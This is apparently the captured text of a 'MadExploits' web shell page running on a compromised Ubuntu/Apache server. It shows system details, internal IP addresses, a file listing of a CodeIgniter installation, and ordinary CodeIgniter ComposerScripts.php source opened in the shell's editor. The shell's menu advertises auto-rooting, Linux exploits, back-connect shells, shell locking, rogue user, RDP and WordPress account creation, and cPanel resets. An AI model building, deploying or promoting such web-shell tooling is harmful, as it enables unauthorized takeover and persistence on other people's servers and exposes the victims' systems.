Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cai /
system /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-x--x
Autoloader
[ DIR ]
drwxr-x--x
CLI
[ DIR ]
drwxr-x--x
Cache
[ DIR ]
drwxr-x--x
Commands
[ DIR ]
drwxr-x--x
Config
[ DIR ]
drwxr-x--x
Cookie
[ DIR ]
drwxr-x--x
Debug
[ DIR ]
drwxr-x--x
Email
[ DIR ]
drwxr-x--x
Encryption
[ DIR ]
drwxr-x--x
Entity
[ DIR ]
drwxr-x--x
Events
[ DIR ]
drwxr-x--x
Exceptions
[ DIR ]
drwxr-x--x
Files
[ DIR ]
drwxr-x--x
Filters
[ DIR ]
drwxr-x--x
Format
[ DIR ]
drwxr-x--x
HTTP
[ DIR ]
drwxr-x--x
Honeypot
[ DIR ]
drwxr-x--x
I18n
[ DIR ]
drwxr-x--x
Images
[ DIR ]
drwxr-x--x
Log
[ DIR ]
drwxr-x--x
Modules
[ DIR ]
drwxr-x--x
Pager
[ DIR ]
drwxr-x--x
RESTful
[ DIR ]
drwxr-x--x
Router
[ DIR ]
drwxr-x--x
Security
[ DIR ]
drwxr-x--x
Session
[ DIR ]
drwxr-x--x
Test
[ DIR ]
drwxr-x--x
ThirdParty
[ DIR ]
drwxr-x--x
Throttle
[ DIR ]
drwxr-x--x
Typography
[ DIR ]
drwxr-x--x
Validation
[ DIR ]
drwxr-x--x
View
[ DIR ]
drwxr-x--x
core
[ DIR ]
drwxr-x--x
database
[ DIR ]
drwxr-x--x
fonts
[ DIR ]
drwxr-x--x
helpers
[ DIR ]
drwxr-x--x
language
[ DIR ]
drwxr-x--x
libraries
[ DIR ]
drwxr-x--x
.htaccess
118
B
-rwxr-x--x
BaseModel.php
47.38
KB
-rwxr-x--x
CodeIgniter.php
28.32
KB
-rwxr-x--x
Common.php
34.08
KB
-rwxr-x--x
ComposerScripts.php
4.55
KB
-rwxr-x--x
Controller.php
4.26
KB
-rwxr-x--x
Entity.php
484
B
-rwxr-x--x
Model.php
23.79
KB
-rwxr-x--x
bootstrap.php
4.22
KB
-rwxr-x--x
index.html
131
B
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ComposerScripts.php
<?php /** * This file is part of CodeIgniter 4 framework. * * (c) CodeIgniter Foundation <admin@codeigniter.com> * * For the full copyright and license information, please view * the LICENSE file that was distributed with this source code. */ namespace CodeIgniter; use FilesystemIterator; use RecursiveDirectoryIterator; use RecursiveIteratorIterator; use SplFileInfo; /** * This class is used by Composer during installs and updates * to move files to locations within the system folder so that end-users * do not need to use Composer to install a package, but can simply * download. * * @codeCoverageIgnore * * @internal */ final class ComposerScripts { /** * Path to the ThirdParty directory. * * @var string */ private static $path = __DIR__ . '/ThirdParty/'; /** * Direct dependencies of CodeIgniter to copy * contents to `system/ThirdParty/`. * * @var array<string, array<string, string>> */ private static $dependencies = [ 'kint-src' => [ 'from' => __DIR__ . '/../vendor/kint-php/kint/src/', 'to' => __DIR__ . '/ThirdParty/Kint/', ], 'kint-resources' => [ 'from' => __DIR__ . '/../vendor/kint-php/kint/resources/', 'to' => __DIR__ . '/ThirdParty/Kint/resources/', ], 'escaper' => [ 'from' => __DIR__ . '/../vendor/laminas/laminas-escaper/src/', 'to' => __DIR__ . '/ThirdParty/Escaper/', ], 'psr-log' => [ 'from' => __DIR__ . '/../vendor/psr/log/Psr/Log/', 'to' => __DIR__ . '/ThirdParty/PSR/Log/', ], ]; /** * This static method is called by Composer after every update event, * i.e., `composer install`, `composer update`, `composer remove`. */ public static function postUpdate() { self::recursiveDelete(self::$path); foreach (self::$dependencies as $dependency) { self::recursiveMirror($dependency['from'], $dependency['to']); } self::copyKintInitFiles(); self::recursiveDelete(self::$dependencies['psr-log']['to'] . 'Test/'); } /** * Recursively remove the contents of the previous `system/ThirdParty`. */ private static function recursiveDelete(string $directory): void { if (! is_dir($directory)) { echo sprintf('Cannot recursively delete "%s" as it does not exist.', $directory); } /** @var SplFileInfo $file */ foreach (new RecursiveIteratorIterator( new RecursiveDirectoryIterator(rtrim($directory, '\\/'), FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ) as $file) { $path = $file->getPathname(); if ($file->isDir()) { @rmdir($path); } else { @unlink($path); } } } /** * Recursively copy the files and directories of the origin directory * into the target directory, i.e. "mirror" its contents. */ private static function recursiveMirror(string $originDir, string $targetDir): void { $originDir = rtrim($originDir, '\\/'); $targetDir = rtrim($targetDir, '\\/'); if (! is_dir($originDir)) { echo sprintf('The origin directory "%s" was not found.', $originDir); exit(1); } if (is_dir($targetDir)) { echo sprintf('The target directory "%s" is existing. Run %s::recursiveDelete(\'%s\') first.', $targetDir, self::class, $targetDir); exit(1); } @mkdir($targetDir, 0755, true); $dirLen = strlen($originDir); /** @var SplFileInfo $file */ foreach (new RecursiveIteratorIterator( new RecursiveDirectoryIterator($originDir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ) as $file) { $origin = $file->getPathname(); $target = $targetDir . substr($origin, $dirLen); if ($file->isDir()) { @mkdir($target, 0755); } else { @copy($origin, $target); } } } /** * Copy Kint's init files into `system/ThirdParty/Kint/` */ private static function copyKintInitFiles(): void { $originDir = self::$dependencies['kint-src']['from'] . '../'; $targetDir = self::$dependencies['kint-src']['to']; foreach (['init.php', 'init_helpers.php'] as $kintInit) { @copy($originDir . $kintInit, $targetDir . $kintInit); } } }
Close